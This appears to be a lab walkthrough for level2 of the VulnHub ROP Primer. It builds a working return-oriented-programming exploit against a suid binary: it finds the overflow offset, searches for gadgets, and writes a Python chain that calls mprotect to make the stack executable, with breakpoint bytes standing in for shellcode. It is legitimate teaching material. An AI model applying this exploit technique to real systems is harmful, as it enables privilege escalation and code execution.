Introduction
This is walkthrough for level2 of ROP Primer from vulnhub.
Running the Application
level0@rop:/home/level2$ ls -l
total 588
-rw-r----- 1 root root 27 Jan 20 2015 flag
-rwsr-xr-x 1 root root 595252 Jan 20 2015 level2
level0@rop:/home/level2$
level0@rop:/home/level2$ ./level2
level0@rop:/home/level2$ ./level2 AAAAAAAAAA
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAA!
level0@rop:/home/level2$
Application accepts command line arguments.
Crashing the Application
Enable core dump - ulimit -c unlimited
Copy the application to/tmp
as the original level2
binary located at /home/level2/level2
is suid
binary and won’t generate a coredump when crashed.
level0@rop:/tmp$ ./level2 $(python -c "print 'A'*300")
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault (core dumped)
level0@rop:/tmp$
Inspecting coredump in GDB.
level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 1184]
Core was generated by `./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$
Finding EIP Offset
Creating pattern.
$ `locate pattern_create.rb` -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Running the binary with new pattern string as argument.
level0@rop:/tmp$ ./level2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9!
Segmentation fault (core dumped)
Inspecting coredump.
level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 1200]
Core was generated by `./level2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x35624134 in ?? ()
gdb-peda$
EIP Offset:
$ `locate pattern_offset.rb` -q 0x35624134
[*] Exact match at offset 44
Basic Exploit Skeleton
import struct
def p(a):
return struct.pack('<I', a)
payload = "A"*44
payload += "BBBB"
payload += "C"*256
print (payload)
Running against level2
.
level0@rop:/tmp$ ./level2 $(python poc.py)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC!
Segmentation fault (core dumped)
Inspecting coredump in GDB, we can see that we have enough space in stack.
level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 1218]
Core was generated by `./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCC'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x42424242 in ?? ()
gdb-peda$ x/64xw $esp
0xbffff5f0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff600: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff610: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff620: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff630: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff640: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff650: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff660: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff670: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff680: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff690: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff6a0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff6b0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff6c0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff6d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff6e0: 0x43434343 0x43434343 0x43434343 0x43434343
gdb-peda$
Binary Protection Mechanisms
Only NX
- non executable stack.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
Approach
- Make stack executable with
mprotect()
- Jump to shellcode in stack as there is enough space in stack for shellcode.
mprotect() syscall
int mprotect(void *addr, size_t len, int prot);
To issue mprotect
syscall, below is the register alignment required before issuing an interrupt with int 0x80
.
EAX
=125
or0x7d
EBX
= stack address for making RWXECX
= length ;0x21000
EDX
= prot; RWX -0x7
Gathering Required Gadgets
$ ropper --file level2 --search "pop e?x; ret"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop e?x; ret
[INFO] File: level2
0x08083a30: pop eax; ret 0x80c;
0x080a81d6: pop eax; ret;
0x0805249e: pop ebx; ret;
0x08052476: pop edx; ret;
$ ropper --file level2 --search "pop ecx"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ecx
[INFO] File: level2
0x080658d7: pop ecx; adc al, 0x89; ret;
0x080658d1: pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret;
0x080658ce: pop ecx; add al, 0x89; pop ecx; adc byte ptr [ecx + 0x59890c59], cl; adc al, 0x89; ret;
0x0804e54e: pop ecx; mov eax, dword ptr [0x80cb468]; test eax, eax; je 0x6560; mov dword ptr [ebp - 0x44], edx; call eax;
0x080658d4: pop ecx; or al, 0x89; pop ecx; adc al, 0x89; ret;
0x080c8967: pop ecx; or cl, byte ptr [esi]; adc al, 0x41; ret;
0x080798b1: pop ecx; pop eax; jmp dword ptr [eax];
0x0808fe2c: pop ecx; pop ebx; pop esi; pop edi; pop ebp; ret;
0x080ab4c7: pop ecx; pop ebx; leave; ret;
0x0805249d: pop ecx; pop ebx; ret;
$ ropper --file level2 --search "push esp; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: push esp; ret
[INFO] File: level2
0x0804d819: push esp; ret 0x83f0;
0x0804eea0: push esp; ret;
$ ropper --file level2 --search "int 0x80; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80; ret
[INFO] File: level2
0x08052ba0: int 0x80; ret;
$ ropper --file level2 --search "pop eax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop eax
[INFO] File: level2
0x080c4a84: pop eax; or eax, dword ptr [eax]; add byte ptr [eax + 0x5c], cl; clc; call dword ptr [edi + 1];
0x080810bc: pop eax; pop ebx; pop esi; pop edi; pop ebp; ret;
0x0808479a: pop eax; pop ebx; pop esi; pop edi; ret;
0x0804813a: pop eax; pop ebx; leave; ret;
0x08083a30: pop eax; ret 0x80c;
0x08077743: pop eax; sbb al, 0xb; or byte ptr [ebx + 0x7030843], cl; call eax;
0x080c4166: pop eax; clc; jmp dword ptr [edx];
0x080a81d6: pop eax; ret;
Selected gadgets:
pop_eax_ret = 0x080a81d6 # this address contains bad character 0a
pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0
Finding Address of Stack
level0@rop:/tmp$ gdb -q --args ./level2 AAAAAA
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048257
gdb-peda$ r
Starting program: /tmp/level2 AAAAAA
[...]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /tmp/level2
0x080ca000 0x080cb000 rw-p /tmp/level2
0x080cb000 0x080ef000 rw-p [heap]
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
gdb-peda$
Implementation
One of the chanllenge I faced while looking for right gadgets to set up registers was that many gadget addresses contained bad characters such as 0x0a
. Finding gadgets which did not contain bad characters like 0x00
, 0x0d
or 0x0a
was quite painful. However, can be done with the help of ropper
and requires a lot of patience.
Directly popping required register values like 0x7d
or 0x7
or 0x21000
did not work as they have null bytes and would break our exploit. We need to use instructions available in the binary to make the registers contain our required values.
For setting up register eax as 0x7d
, I searched for the following using ropper.
$ ropper --file level2 --search "add eax, 0x????????; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add eax, 0x????????; ret
[INFO] File: level2
0x0809c7fa: add eax, 0x291ff083; ret 0x9589;
0x0806e2a8: add eax, 0x291ff8c1; ret 0x1b8;
0x0806ebf7: add eax, 0x291ff8c1; ret 0xc26b;
0x0808dadf: add eax, 0x29ec752b; ret 0x7d03;
0x080486bd: add eax, 0x3910148d; ret 0xa77;
0x0806754a: add eax, 0x5d5bc031; ret;
0x080a596c: add eax, 0x8900768d; ret 0x828b;
0x08097857: add eax, 0x89fffffb; ret 0xc031;
0x080c8b72: add eax, 0xc6c70a7f; ret;
0x08076a91: add eax, 0xc9fc5d8b; ret;
I chose below gadget:
0x0806754a: add eax, 0x5d5bc031; ret;
If we use some simple arithmetic, then we can make the register eax
= 0x7d
# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c
Updating the PoC with the gadgets:
import struct
def p(a):
return struct.pack('<I', a)
pop_eax_ret = 0x080a81d6
pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0
fake_ret = 0xcafebabe
add_eax_5d5bc031_ret = 0x0806754a
stack_addr = 0xbffdf000
shellcode = "\xcc" * 256
payload = "A"*44
# sys_mprotect
# EAX = 125 or 0x7d
# EBX = stack address for making RWX
# ECX = length ; 0x21000
# EDX = prot; RWX - 0x7
payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0xa2a4404c) # eax = 0xa2a4404c;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk edi
# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c
payload += p(add_eax_5d5bc031_ret)
payload += p(pop_ecx_ebx_ret)
payload += p(0x21000) # ecx = len; 0x21000
payload += p(stack_addr) # ebx = stack addr
payload += p(pop_edx_ret)
payload += p(0x7) # edx = 0x7; RWX
payload += p(fake_ret)
#payload += p(int_80_ret) # call mprotect
#payload += p(push_esp_ret) # return to stack
payload += shellcode
print (payload)
Run the program through debugger as: gdb -q --args ./level2 $(python poc.py)
level0@rop:/tmp$ gdb -q --args ./level2 $(python poc.py)
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ b *0x0808479a
Breakpoint 1 at 0x808479a
gdb-peda$ r
Starting program: /tmp/level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL@[snipped]
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL@[snipped]!
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff54c --> 0x80ca4c0 --> 0xfbad2a84
EDX: 0x80cb430 --> 0x0
ESI: 0x80488f0 (<__libc_csu_fini>: push ebp)
EDI: 0x841e1b42
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5a0 --> 0xa2a4404c
EIP: 0x808479a (<__mpn_lshift+74>: pop eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8084794 <__mpn_lshift+68>: jne 0x8084780 <__mpn_lshift+48>
0x8084796 <__mpn_lshift+70>: shl eax,cl
0x8084798 <__mpn_lshift+72>: mov DWORD PTR [edi],eax
=> 0x808479a <__mpn_lshift+74>: pop eax
0x808479b <__mpn_lshift+75>: pop ebx
0x808479c <__mpn_lshift+76>: pop esi
0x808479d <__mpn_lshift+77>: pop edi
0x808479e <__mpn_lshift+78>: ret
[------------------------------------stack-------------------------------------]
0000| 0xbffff5a0 --> 0xa2a4404c
0004| 0xbffff5a4 ('A' <repeats 12 times>, "Ju\006\b\235$\005\b\020\002\360\375\277v$\005\b\a\276\272\376\312", '\314' <repeats 165 times>, <incomplete sequence \314>...)
0008| 0xbffff5a8 ("AAAAAAAAJu\006\b\235$\005\b\020\002\360\375\277v$\005\b\a\276\272\376\312", '\314' <repeats 169 times>, <incomplete sequence \314>...)
0012| 0xbffff5ac ("AAAAJu\006\b\235$\005\b\020\002\360\375\277v$\005\b\a\276\272\376\312", '\314' <repeats 173 times>, <incomplete sequence \314>...)
0016| 0xbffff5b0 --> 0x806754a (<_IO_new_do_write+10>: add eax,0x5d5bc031)
0020| 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop ecx)
0024| 0xbffff5b8 --> 0xfdf00210
0028| 0xbffff5bc --> 0x52476bf
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0808479a in __mpn_lshift ()
gdb-peda$
Once we reach the return statement, register alignment is as follows:
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0xa2a4404c
EBX: 0x41414141 ('AAAA')
ECX: 0xbffff54c --> 0x80ca4c0 --> 0xfbad2a84
EDX: 0x80cb430 --> 0x0
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5b0 --> 0x806754a (<_IO_new_do_write+10>: add eax,0x5d5bc031)
EIP: 0x808479e (<__mpn_lshift+78>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x808479b <__mpn_lshift+75>: pop ebx
0x808479c <__mpn_lshift+76>: pop esi
0x808479d <__mpn_lshift+77>: pop edi
=> 0x808479e <__mpn_lshift+78>: ret
0x808479f <__mpn_lshift+79>: shl ebx,cl
0x80847a1 <__mpn_lshift+81>: mov DWORD PTR [edi],ebx
0x80847a3 <__mpn_lshift+83>: pop ebx
0x80847a4 <__mpn_lshift+84>: pop esi
[------------------------------------stack-------------------------------------]
0000| 0xbffff5b0 --> 0x806754a (<_IO_new_do_write+10>: add eax,0x5d5bc031)
0004| 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop ecx)
0008| 0xbffff5b8 --> 0xfdf00210
0012| 0xbffff5bc --> 0x52476bf
0016| 0xbffff5c0 --> 0xbabe0708
0020| 0xbffff5c4 --> 0xcccccafe
0024| 0xbffff5c8 --> 0xcccccccc
0028| 0xbffff5cc --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0808479e in __mpn_lshift ()
gdb-peda$
The execution will now go to 0x806754a
which contains the add eax,0x5d5bc031
instruction. Once this is executed, eax
will become 0x7d
.
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0x7d ('}')
EBX: 0x41414141 ('AAAA')
ECX: 0xbffff54c --> 0x80ca4c0 --> 0xfbad2a84
EDX: 0x80cb430 --> 0x0
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop ecx)
EIP: 0x806754f (<_IO_new_do_write+15>: ret)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x806754b <_IO_new_do_write+11>: xor eax,eax
0x806754d <_IO_new_do_write+13>: pop ebx
0x806754e <_IO_new_do_write+14>: pop ebp
=> 0x806754f <_IO_new_do_write+15>: ret
0x8067550 <_IO_new_do_write+16>: mov edx,DWORD PTR [ebp+0xc]
0x8067553 <_IO_new_do_write+19>: mov ecx,ebx
0x8067555 <_IO_new_do_write+21>: mov eax,DWORD PTR [ebp+0x8]
0x8067558 <_IO_new_do_write+24>: call 0x8067260 <new_do_write>
[------------------------------------stack-------------------------------------]
0000| 0xbffff5b4 --> 0x805249d (<__lll_unlock_wake_private+29>: pop ecx)
0004| 0xbffff5b8 --> 0xfdf00210
0008| 0xbffff5bc --> 0x52476bf
0012| 0xbffff5c0 --> 0xbabe0708
0016| 0xbffff5c4 --> 0xcccccafe
0020| 0xbffff5c8 --> 0xcccccccc
0024| 0xbffff5cc --> 0xcccccccc
0028| 0xbffff5d0 --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0806754f in _IO_new_do_write ()
gdb-peda$
Similarly, finding gadgets for setting up other registers while avoiding addresses containing bad characters.
import struct
def p(a):
return struct.pack('<I', a)
pop_eax_ebx_esi_edi_ret = 0x0808479a
pop_ecx_ebx_ret = 0x0805249d
pop_edx_ret = 0x08052476
pop_ebx_ret = 0x0805249e
dec_ebx_ret = 0x0804f871
int_80_ret = 0x08052ba0
push_esp_ret = 0x0804eea0
fake_ret = 0xcafebabe
add_eax_5d5bc031_ret = 0x0806754a
stack_addr = 0xbffdf001 # changed from 0xbffdf000 to avoid null byte
shellcode = "\xcc" * 256
payload = "A"*44
# sys_mprotect
# EAX = 125 or 0x7d
# EBX = stack address for making RWX
# ECX = length ; 0x21000
# EDX = prot; RWX - 0x7
# setup ecx = 0x21000
# 0x0805ea2c: add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret;
# 0x800107ff + 0x80010801 = 0x100021000
payload += p(pop_ecx_ebx_ret)
payload += p(0x800107ff) # ecx = 0x800107ff
payload += p(0x41414141) # junk ebx
payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0x80010801) # eax = 0x80010801;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk edi
# add ecx, eax
payload += p(0x0805ea2c) # add ecx, eax; mov eax, ecx; pop ebx; pop esi; pop ebp; ret;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk ebp
# setup eax = 0x7d
# calculating eax value
# 0xffffffff - 0x5d5bc031 = 0xa2a43fce
# 0xa2a43fce + 0x5d5bc031 + 0x7d + 1 = 0x10000007d
# 0xa2a43fce + 0x7d + 1 = 0xa2a4404c
payload += p(pop_eax_ebx_esi_edi_ret)
payload += p(0xa2a4404c) # eax = 0xa2a4404c;
payload += p(0x41414141) # junk ebx
payload += p(0x41414141) # junk esi
payload += p(0x41414141) # junk edi
payload += p(add_eax_5d5bc031_ret)
# setup ebx = 0xbffdf000
payload += p(pop_ebx_ret)
payload += p(stack_addr) # ebx = stack addr
# $ ropper --file ./level2 --search "dec ebx"
# 0x0804f871: dec ebx; ret;
payload += p(dec_ebx_ret) # ebx => 0xbffdf001 - 1 = 0xbffdf000 ; stack address
# setup edx = 0x7
payload += p(pop_edx_ret)
payload += p(0xffffffff) # edx = 0x7; RWX
# 0x0804b120: inc edx; cld; pop ebp; ret;
#inc_edx_cld_pop_ebp_ret = 0x0804b120
inc_edx_cld_pop_ebp_ret = 0x0804b134
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 0
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 1
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 2
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 3
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 4
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 5
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 6
payload += p(0x41414141)
payload += p(inc_edx_cld_pop_ebp_ret) # edx = 7
payload += p(0x41414141)
#payload += p(fake_ret)
payload += p(int_80_ret) # call mprotect
payload += p(push_esp_ret) # return to stack
payload += shellcode
print (payload)
Checking if all the registers contain right values, before issuing interrupt:
level0@rop:/tmp$ gdb -q --args ./level2 $(python poc.py)
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ b *0x08052ba0
Breakpoint 1 at 0x8052ba0
gdb-peda$ r
Starting program: /tmp/level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..[snipped_for_brevity]
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..[snipped_for_brevity]!
[----------------------------------registers-----------------------------------]
EAX: 0x7d ('}')
EBX: 0xbffdf000 --> 0x0
ECX: 0x21000
EDX: 0x7
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>: push esp)
EIP: 0x8052ba0 (<_dl_sysinfo_int80>: int 0x80)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8052b9d: nop
0x8052b9e: nop
0x8052b9f: nop
=> 0x8052ba0 <_dl_sysinfo_int80>: int 0x80
0x8052ba2 <_dl_sysinfo_int80+2>: ret
0x8052ba3: lea esi,[esi+0x0]
0x8052ba9: lea edi,[edi+eiz*1+0x0]
0x8052bb0 <_dl_aux_init>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>: push esp)
0004| 0xbffff5d0 --> 0xcccccccc
0008| 0xbffff5d4 --> 0xcccccccc
0012| 0xbffff5d8 --> 0xcccccccc
0016| 0xbffff5dc --> 0xcccccccc
0020| 0xbffff5e0 --> 0xcccccccc
0024| 0xbffff5e4 --> 0xcccccccc
0028| 0xbffff5e8 --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08052ba0 in _dl_sysinfo_int80 ()
gdb-peda$
Excellent, the register alignment is correct and as we wanted for mprotect()
syscall. Checking if the stack is now executable after the interrupt int 0x80
is issued.
gdb-peda$ stepi
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffdf000 --> 0x0
ECX: 0x21000
EDX: 0x7
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>: push esp)
EIP: 0x8052ba2 (<_dl_sysinfo_int80+2>: ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8052b9e: nop
0x8052b9f: nop
0x8052ba0 <_dl_sysinfo_int80>: int 0x80
=> 0x8052ba2 <_dl_sysinfo_int80+2>: ret
0x8052ba3: lea esi,[esi+0x0]
0x8052ba9: lea edi,[edi+eiz*1+0x0]
0x8052bb0 <_dl_aux_init>: push ebp
0x8052bb1 <_dl_aux_init+1>: mov ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xbffff5cc --> 0x804eea0 (<mi_arena.12801+752>: push esp)
0004| 0xbffff5d0 --> 0xcccccccc
0008| 0xbffff5d4 --> 0xcccccccc
0012| 0xbffff5d8 --> 0xcccccccc
0016| 0xbffff5dc --> 0xcccccccc
0020| 0xbffff5e0 --> 0xcccccccc
0024| 0xbffff5e4 --> 0xcccccccc
0028| 0xbffff5e8 --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08052ba2 in _dl_sysinfo_int80 ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /tmp/level2
0x080ca000 0x080cb000 rw-p /tmp/level2
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffe000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xbffdf000 rw-p mapped
0xbffdf000 0xc0000000 rwxp [stack]
gdb-peda$
Bravo!. The stack is RWX
as evident from vmmap
.
Continuing execution to see if we can execute the SIGTRAP
’s or \xcc
we placed as shellcode.
gdb-peda$ c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffdf000 --> 0x0
ECX: 0x21000
EDX: 0x7
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5d0 --> 0xcccccccc
EIP: 0xbffff5d1 --> 0xcccccccc
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xbffff5d1: int3
0xbffff5d2: int3
0xbffff5d3: int3
0xbffff5d4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbffff5d0 --> 0xcccccccc
0004| 0xbffff5d4 --> 0xcccccccc
0008| 0xbffff5d8 --> 0xcccccccc
0012| 0xbffff5dc --> 0xcccccccc
0016| 0xbffff5e0 --> 0xcccccccc
0020| 0xbffff5e4 --> 0xcccccccc
0024| 0xbffff5e8 --> 0xcccccccc
0028| 0xbffff5ec --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xbffff5d1 in ?? ()
gdb-peda$
Just to verify that the exploit works, lets run it outside debugger.
level0@rop:/tmp$ ./level2 $(python poc.py)
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[.....]!
Trace/breakpoint trap (core dumped)
Inspecting core dump shows that we hit the SIGTRAP shellcode.
level0@rop:/tmp$ gdb ./level2 -q core
Reading symbols from ./level2...(no debugging symbols found)...done.
[New LWP 8051]
Core was generated by `./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAA�AAAAAA'.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0 0xbffff5f1 in ?? ()
gdb-peda$
